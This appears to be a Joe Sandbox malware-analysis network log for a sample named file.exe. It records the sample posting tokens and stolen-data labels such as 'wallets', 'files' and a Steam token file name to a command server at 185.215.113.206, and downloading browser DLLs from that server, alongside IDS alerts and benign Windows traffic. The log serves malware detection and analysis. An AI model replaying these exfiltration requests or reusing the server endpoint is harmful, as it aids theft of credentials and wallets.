Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="file"------AKFCFBAAEHCFHJJKEHJK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHDHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAEHCAEGDHJKFHJKFIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------CBAEHCAEGDHJKFHJKFIJContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------CBAEHCAEGDHJKFHJKFIJContent-Disposition: form-data; name="message"wallets------CBAEHCAEGDHJKFHJKFIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIIDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="message"files------HDGIEBGHDAEBGDGCFIID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 2d 2d 0d 0a Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="file"------JJDBAAEGDBKKECBGIJEB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"ybncbhylepme------KEHCAFHIJECGCAKFCGDB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGIEHJJJJEBGDAFHJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 49 45 48 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 2d 2d 0d 0a Data Ascii: ------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------IDHDGIEHJJJJEBGDAFHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHDGIEHJJJJEBGDAFHJ--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49757 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49763

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vlLRGzYFkMf6rYe&MD=S3nkbt6b HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vlLRGzYFkMf6rYe&MD=S3nkbt6b HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
